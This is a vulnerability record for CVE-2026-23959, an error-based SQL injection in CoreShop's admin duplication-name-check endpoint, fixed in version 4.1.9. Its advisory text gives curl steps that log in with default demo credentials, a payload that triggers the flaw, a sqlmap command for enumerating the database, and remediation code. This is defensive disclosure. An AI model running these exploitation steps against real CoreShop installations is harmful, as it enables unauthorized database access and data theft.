{"id":"CVE-2026-23959","aliases":["CVE-2026-23959","GHSA-fqcv-8859-86x2"],"related":[],"kind":"vulnerability","state":"published","title":"CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier","summary":"CoreShop is a Pimcore enhanced eCommerce solution. An error-based SQL Injection vulnerability was identified in versions prior to 4.1.9 in the `CustomerTransformerController` within the CoreShop admin panel. The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction. Version 4.1.9 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"CoreShop is a Pimcore enhanced eCommerce solution. An error-based SQL Injection vulnerability was identified in versions prior to 4.1.9 in the `CustomerTransformerController` within the CoreShop admin panel. The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction. Version 4.1.9 fixes the issue.","source":"cvelist"},{"lang":"en","text":"# SQL Injection in CustomerTransformerController\n\n## Summary\nAn **error-based SQL Injection vulnerability** was identified in the `CustomerTransformerController` within the CoreShop admin panel.  \nThe affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.\n\nThis issue is classified as **MEDIUM severity**, as it allows SQL execution in an authenticated admin context.\n\n---\n\n## Details\nThe vulnerability exists in the company name duplication check endpoint:\n\n```\n/admin/coreshop/customer-company-modifier/duplication-name-check?value=\n```\n\nSource code analysis indicates that user input is directly embedded into a SQL condition without parameterization.\n\n**Vulnerable file:**\n```\n/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php\n```\n\n**Vulnerable code pattern:**\n```php\nsprintf('name LIKE \"%%%s%%\"', (string) $value)\n```\n\nThe `$value` parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.  \nSupplying a double quote (`\"`) causes a SQL syntax error, confirming that the input is executed in a SQL context.\n\n---\n\n## Exploitation Steps:\n\n### Prerequisites\n- Admin panel access at `https://demo4.coreshop.org/admin`\n- Default credentials: `admin / coreshop`\n\n### Authenticate to admin panel\n```bash\n   # Get CSRF token\n   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken\n\n   # Initialize session\n   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null\n\n   # Get CSRF token with session\n   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '\"csrfToken\":\"[^\"]*\"' | cut -d'\"' -f4)\n\n   # Login\n   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \\\n     -X POST 'https://demo4.coreshop.org/admin/login/login' \\\n     -H 'Content-Type: application/x-www-form-urlencoded' \\\n     -d \"username=admin&password=coreshop&csrfToken=$CSRF\"\n   ```\n\n### Trigger SQL error to confirm injection\n   ```bash\n   curl -s -b /tmp/session.txt \\\n     'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'\n   ```\n\n   **Expected result:** HTTP 500 error page with title \"500 | CORS - Pimcore Digital Agency\"\n\n   **Normal response (non-error):**\n   ```json\n   {\"success\":true,\"message\":null,\"list\":[]}\n   ```\n\n### Proof of Impact:\n\n**Test 1 - Normal query:**\n```bash\nGET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test\nResponse: {\"success\":true,\"message\":null,\"list\":[]}\n```\n\n**Test 2 - SQL injection (error-inducing):**\n```bash\nGET /admin/coreshop/customer-company-modifier/duplication-name-check?value=\"\nResponse: HTTP 500 Internal Server Error\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <title>500 | CORS - Pimcore Digital Agency</title>\n  ...\n</head>\n```\nThe double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.\n\n**Sqlmap Result:**\n```bash\npython sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db\n```\n<img width=\"1921\" height=\"747\" alt=\"sqlmappoc\" src=\"https://github.com/user-attachments/assets/4069bbd4-d1a1-4ad1-9983-24402a20f985\" />\n\n---\n\n## Impact\n- **Vulnerability type:** SQL Injection (Error-based)\n- **Affected users:** CoreShop / Pimcore admin users\n- **Potential impact:**\n  - Database error disclosure\n  - Database schema enumeration\n  - Possible data extraction via error-based or blind SQL injection\n\n---\n\n## Recommended Fix\n\n### 1. Use Parameterized Queries (Required)\nAvoid building SQL conditions using string concatenation or `sprintf`.  \nUse Doctrine QueryBuilder parameters instead.\n\n**❌ Vulnerable example:**\n```php\n$condition = sprintf('name LIKE \"%%%s%%\"', (string) $value);\n```\n\n**✅ Secure example (Doctrine QueryBuilder):**\n```php\n$qb->andWhere('c.name LIKE :name')\n   ->setParameter('name', '%' . $value . '%');\n```\n\nThis ensures proper escaping and prevents SQL injection.\n\n---\n\n### 2. Validate User Input (Defense-in-Depth)\nApply strict input validation before processing user data:\n\n```php\nif (!is_string($value) || mb_strlen($value) > 255) {\n    throw new BadRequestHttpException('Invalid input');\n}\n```\n\nOptionally, restrict allowed characters if business logic permits.\n\n---\n\n### 3. Handle Errors Gracefully\nAvoid returning raw 500 error pages to users.  \nCatch database exceptions and return a controlled JSON error response instead:\n\n```php\nreturn new JsonResponse([\n    'success' => false,\n    'message' => 'Invalid request'\n], 400);\n```\n\n---\n\n### 4. Security Best Practice\n- Never interpolate user input directly into SQL strings\n- Always use prepared statements or ORM parameter binding\n- Ensure consistent input validation on all admin endpoints\n\n---","format":"markdown","source":"ghsa"},{"lang":"es","text":"CoreShop es una solución de comercio electrónico mejorada de Pimcore. Se identificó una vulnerabilidad de inyección SQL basada en errores en versiones anteriores a la 4.1.9 en el 'CustomerTransformerController' dentro del panel de administración de CoreShop. El endpoint afectado interpola incorrectamente la entrada proporcionada por el usuario en una consulta SQL, lo que lleva a la divulgación de errores de la base de datos y a la posible extracción de datos. La versión 4.1.9 corrige el problema.","source":"nvd"}],"published":"2026-01-21T16:13:12.000Z","modified":"2026-06-17T10:22:21.300Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N","score":4.9,"rating":"MEDIUM"}],"cwes":["CWE-564"],"affected":[{"ranges":[{"version":"< 4.1.9","status":"affected"}],"vendor":"coreshop","product":"CoreShop","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.1.9"}],"ecosystem":"Packagist","package":"coreshop/core-shop","purl":"pkg:composer/coreshop/core-shop","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.1.9"}],"vendor":"coreshop","product":"coreshop","cpe":"cpe:2.3:a:coreshop:coreshop:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/coreshop/CoreShop/security/advisories/GHSA-fqcv-8859-86x2","tags":["vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/coreshop/CoreShop/commit/af80b8f5c7df5f02f44e9c5e0a4a564de274eec2","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/coreshop/CoreShop/releases/tag/4.1.9","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23959","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/coreshop/CoreShop","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-01-22T16:24:52.752Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-23959","url":"https://www.cve.org/CVERecord?id=CVE-2026-23959","licence":"CVE Terms of Use","modified":"2026-01-22T16:28:21.076Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fqcv-8859-86x2","url":"https://github.com/advisories/GHSA-fqcv-8859-86x2","licence":"CC-BY-4.0","modified":"2026-02-03T03:10:06.717Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-23959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23959","licence":"Public domain","modified":"2026-06-17T10:22:21.300Z"}],"updatedAt":"2026-11-25T22:59:13.039Z","epss":{"score":0.00423,"percentile":0.38556,"date":"2026-12-02T12:00:21.000Z"}}